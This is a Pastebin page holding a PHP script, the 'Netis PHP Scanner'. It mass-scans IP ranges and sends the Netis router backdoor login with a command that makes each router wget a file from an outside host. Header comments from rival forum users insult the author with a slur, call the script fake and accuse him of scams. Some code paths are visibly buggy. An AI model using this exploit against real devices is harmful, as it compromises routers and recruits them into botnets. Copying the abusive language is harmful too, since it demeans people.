Advertisement
ZoneHax

"Netis" Scanner

Aug 10th, 2016
1,461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.13 KB | None | 0 0
  1. <?php
  2. /* 
  3.  __      ___ _ _       _      
  4.  \ \    / (_) | |     (_)      
  5.   \ \  / / _| | | __ _ _ _ __  
  6.    \ \/ / | | | |/ _` | | '_ \
  7.     \  /  | | | | (_| | | | | |
  8.      \/   |_|_|_|\__,_|_|_| |_|
  9.         Netis PHP Scanner
  10.             Created by Villain
  11.                 Enjoy niggas   -- > Villain the skid ripping retard that knows nothing at all and sales fake shit kek.
  12. Retard Can't write code for shit , he knows nothing at all , watch out , dont get scammed
  13. */
  14. // This file is completely faked with shit code , dont get scammed. watch out.
  15. /*
  16.  
  17. also
  18. you say it doesn't infect
  19. so who's bin did I see exec on my router
  20. sum random scanning netis
  21. infected 30 routers
  22. but I killed em
  23. already so yeah
  24. From:
  25. Villain
  26.  Really ?
  27. Sent on:
  28. Tue
  29. From:
  30. Villain
  31. LMAO
  32. From:
  33. Villain
  34. that's BLJ
  35. ^^^ Admitting to selling fake shit that doesn't work and sending it to people LOL
  36. https://gyazo.com/f2711140755fc24658151818969dde21
  37. ^^ Screenshot if he claims it's fake
  38. He removed all the other messages he sent , but what they consist of is him admitting to scamming people
  39. Just like his butt buddy friend Thy Demented and the Other one S3rity, Scamming countless people at accountspawn
  40. Watch out , Skids must die!
  41. */
  42. $payload = "cd /tmp || cd /var || cd /usr;wget http://blasze.tk/W239ON";
  43. class Netis {
  44.     protected $payload;
  45.     public function __construct($payload){
  46.         $this->payload = $payload;
  47.     }
  48.     public function Netis(){
  49.         /* Scan random Chinese Ranges */
  50.         $this->ranges = array('111.255', '101.16', '112.225', '118.80', '27.200');
  51.         for($i = 0;$i < 255 ^ 3;$i++){
  52.                     $this->host = $this->ranges[rand(0,4)] . "." . rand(1,255) . "." . rand(1,255);
  53.                     $this->connection = fsockopen("udp://" . $this->host, 53413, $errstr, $errno, 3);
  54.             while(!feof($this->connection)){
  55.                 // Login Payload & Command Payload
  56.                 fputs($this->connection, "AAAAAAAAnetcore\x00");
  57.                 fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
  58.                 print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
  59.                 fclose($this->connection);
  60.                 break;
  61.             }
  62.         }
  63.     }
  64.     public function ListScan(){
  65.         /* Scan for Netis IP List */
  66.         $this->list = fopen('list.txt', 'r');
  67.         while(!feof($this->list)){
  68.             $this->line = fgets($this->list);
  69.             $this->host = "udp://" . $this->line;
  70.             $this->sock = fsockopen($this->host, 53413, $errno, $errstr, 3);
  71.             while(!feof($this->sock)){
  72.                 // Login Payload & Command Payload
  73.                 fputs($this->connection, "AAAAAAAAnetcore\x00");
  74.                 fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
  75.                 print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
  76.                 break;
  77.             }
  78.            
  79.         }
  80.     }
  81.     public function WorldScan(){
  82.         $this->range = array();
  83.         $this->range[1] = 1;
  84.         $this->range[2] = 1;
  85.         $this->range[3] = 1;
  86.         $this->range[4] = 1;
  87.         for($i = 0;$i < 255 ^ 4;$i++){
  88.             if($this->range[4] == 255){
  89.                 $this->range[3]++;
  90.                 $this->range[4] = 1;
  91.             }
  92.             if($this->range[3] == 255){
  93.                 $this->range[2]++;
  94.                 $this->range[3] = 1;
  95.             }
  96.             if($this->range[2] == 255){
  97.                 $this->range[1]++;
  98.                 $this->range[2] = 1;
  99.             }
  100.             $this->host = $this->range[1] . "." . $this->range[2] . "." . $this->range[3] . "." . $this->range[4];
  101.             $this->ip = "udp://" . $this->host;
  102.             $this->sock = fsockopen($this->ip, 53413, $errstr, $errno, 3);
  103.             while(!feof($this->sock)){
  104.                 fputs($this->sock, "AAAAAAAAnetcore\x00");
  105.                 fputs($this->sock, "AA\x00\x00AAAA " . $this->payload . "\x00");
  106.                 print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
  107.                 break;
  108.             }
  109.             $this->range[4]++;
  110.         }
  111.     }
  112. }
  113. $netis = new Netis($payload);
  114.     if(empty($argv[1])){
  115.         print "\033[01;31mNo arguements given";
  116.         exit(1);
  117.     }
  118.     if($argc !== 1){
  119.         switch(strtolower($argv[1])){
  120.         case "random":
  121.             $netis->Netis();
  122.         break;
  123.         case 'list':
  124.             $netis->ListScan();
  125.         break;
  126.         case 'world':
  127.             $netis->WorldScan();
  128.         break;
  129.     }
  130.     } else {
  131.         print "\033[01;33mUsage: \033[01;37mphp script.php random \033[01;33m - Scan for random Chinese Ranges\n";
  132.         print "\033[01;33mUsage: \033[01;37mphp script.php list \033[01;33m - Scan from prescanned IP list\n";
  133.         exit(1);
  134.     }
  135. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement